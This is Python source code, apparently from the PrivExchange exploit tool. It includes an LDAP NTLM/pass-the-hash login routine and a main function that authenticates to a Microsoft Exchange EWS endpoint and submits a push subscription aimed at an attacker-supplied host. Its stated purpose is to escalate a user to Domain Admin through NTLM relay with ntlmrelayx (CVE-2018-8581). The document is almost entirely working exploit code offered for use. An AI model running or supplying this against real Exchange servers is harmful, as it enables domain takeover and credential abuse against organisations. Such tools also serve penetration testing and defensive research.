def login(self, user='', password='', domain='', lmhash='', nthash='', authenticationChoice='sicilyNegotiate'): """ logins into the target system :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string authenticationChoice: type of authentication protocol to use (default NTLM) :return: True, raises a LDAPSessionError if error. """ bindRequest = BindRequest() bindRequest['version'] = 3 if authenticationChoice == 'simple': if '.' in domain: bindRequest['name'] = user + '@' + domain elif domain: bindRequest['name'] = domain + '\\' + user else: bindRequest['name'] = user bindRequest['authentication']['simple'] = password response = self.sendReceive(bindRequest)[0]['protocolOp'] elif authenticationChoice == 'sicilyPackageDiscovery': bindRequest['name'] = user bindRequest['authentication']['sicilyPackageDiscovery'] = '' response = self.sendReceive(bindRequest)[0]['protocolOp'] elif authenticationChoice == 'sicilyNegotiate': # Deal with NTLM Authentication if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0' + lmhash if len(nthash) % 2: nthash = '0' + nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except TypeError: pass bindRequest['name'] = user # NTLM Negotiate negotiate = getNTLMSSPType1('', domain) bindRequest['authentication'][ 'sicilyNegotiate'] = negotiate.getData() response = self.sendReceive(bindRequest)[0]['protocolOp'] # NTLM Challenge type2 = response['bindResponse']['matchedDN'] # NTLM Auth type3, exportedSessionKey = getNTLMSSPType3( negotiate, bytes(type2), user, password, domain, lmhash, nthash) bindRequest['authentication']['sicilyResponse'] = type3.getData() response = self.sendReceive(bindRequest)[0]['protocolOp'] else: raise LDAPSessionError( errorString="Unknown authenticationChoice: '%s'" % authenticationChoice) if response['bindResponse']['resultCode'] != ResultCode('success'): raise LDAPSessionError( errorString='Error in bindRequest -> %s: %s' % (response['bindResponse']['resultCode'].prettyPrint(), response['bindResponse']['diagnosticMessage'])) return True
def main(): parser = argparse.ArgumentParser( description= 'Exchange your privileges for Domain Admin privs by abusing Exchange. Use me with ntlmrelayx' ) parser.add_argument("host", type=str, metavar='HOSTNAME', help="Hostname/ip of the Exchange server") parser.add_argument("-u", "--user", metavar='USERNAME', help="username for authentication") parser.add_argument( "-d", "--domain", metavar='DOMAIN', help="domain the user is in (FQDN or NETBIOS domain name)") parser.add_argument( "-p", "--password", metavar='PASSWORD', help= "Password for authentication, will prompt if not specified and no NT:NTLM hashes are supplied" ) parser.add_argument('--hashes', action='store', help='LM:NLTM hashes') parser.add_argument("--no-ssl", action='store_true', help="Don't use HTTPS (connects on port 80)") parser.add_argument("--exchange-port", help="Alternative EWS port (default: 443 or 80)") parser.add_argument("-ah", "--attacker-host", required=True, help="Attacker hostname or IP") parser.add_argument( "-ap", "--attacker-port", default=80, help="Port on which the relay attack runs (default: 80)") parser.add_argument( "--attacker-page", default="/privexchange/", help="Page to request on attacker server (default: /privexchange/)") parser.add_argument("--debug", action='store_true', help='Enable debug output') args = parser.parse_args() ews_url = "/EWS/Exchange.asmx" # Init logging logger = logging.getLogger() logger.setLevel(logging.INFO) stream = logging.StreamHandler(sys.stderr) stream.setLevel(logging.DEBUG) formatter = logging.Formatter('%(levelname)s: %(message)s') stream.setFormatter(formatter) logger.addHandler(stream) # Should we log debug stuff? if args.debug is True: logger.setLevel(logging.DEBUG) if args.password is None and args.hashes is None: args.password = getpass.getpass() # Init connection if not args.no_ssl: # HTTPS = default port = 443 if args.exchange_port: port = int(args.exchange_port) try: uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) session = HTTPSConnection(args.host, port, context=uv_context) except AttributeError: session = HTTPSConnection(args.host, port) else: # Otherwise: HTTP port = 80 if args.exchange_port: port = int(args.exchange_port) session = HTTPConnection(args.host, port) # Construct attacker url if args.attacker_port != 80: attacker_url = 'http://%s:%d%s' % ( args.attacker_host, int(args.attacker_port), args.attacker_page) else: attacker_url = 'http://%s%s' % (args.attacker_host, args.attacker_page) logging.info('Using attacker URL: %s', attacker_url) # Use impacket for NTLM ntlm_nego = ntlm.getNTLMSSPType1(args.attacker_host, domain=args.domain) #Negotiate auth negotiate = base64.b64encode(ntlm_nego.getData()) # Headers # Source: https://github.com/thezdi/PoC/blob/master/CVE-2018-8581/Exch_EWS_pushSubscribe.py headers = { "Authorization": 'NTLM %s' % negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F" } session.request("POST", ews_url, POST_BODY % attacker_url, headers) res = session.getresponse() res.read() # Copied from ntlmrelayx httpclient.py if res.status != 401: logging.info( 'Status code returned: %d. Authentication does not seem required for URL', res.status) try: if 'NTLM' not in res.getheader('WWW-Authenticate'): logging.error( 'NTLM Auth not offered by URL, offered protocols: %s', res.getheader('WWW-Authenticate')) return False except (KeyError, TypeError): logging.error('No authentication requested by the server for url %s', ews_url) return False logging.debug('Got 401, performing NTLM authentication') # Get negotiate data try: ntlm_challenge_b64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) ntlm_challenge = base64.b64decode(ntlm_challenge_b64) except (IndexError, KeyError, AttributeError): logging.error('No NTLM challenge returned from server') return if args.hashes: lm_hash_h, nt_hash_h = args.hashes.split(':') # Convert to binary format lm_hash = binascii.unhexlify(lm_hash_h) nt_hash = binascii.unhexlify(nt_hash_h) args.password = '' else: nt_hash = '' lm_hash = '' ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, args.user, args.password, args.domain, lm_hash, nt_hash) auth = base64.b64encode(ntlm_auth.getData()) headers = { "Authorization": 'NTLM %s' % auth, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F" } session.request("POST", ews_url, POST_BODY % attacker_url, headers) res = session.getresponse() logging.debug('HTTP status: %d', res.status) body = res.read() logging.debug('Body returned: %s', body) if res.status == 200: logging.info( 'Exchange returned HTTP status 200 - authentication was OK') # Parse XML with ElementTree root = ET.fromstring(body) code = None for response in root.iter( '{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseCode' ): code = response.text if not code: logging.error('Could not find response code element in body: %s', body) return if code == 'NoError': logging.info('API call was successful') elif code == 'ErrorMissingEmailAddress': logging.error( 'The user you authenticated with does not have a mailbox associated. Try a different user.' ) else: logging.error('Unknown error %s', code) for errmsg in root.iter( '{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseMessages' ): logging.error('Server returned: %s', errmsg.text) elif res.status == 401: logging.error( 'Server returned HTTP status 401 - authentication failed') else: logging.error('Server returned HTTP %d: %s', res.status, body)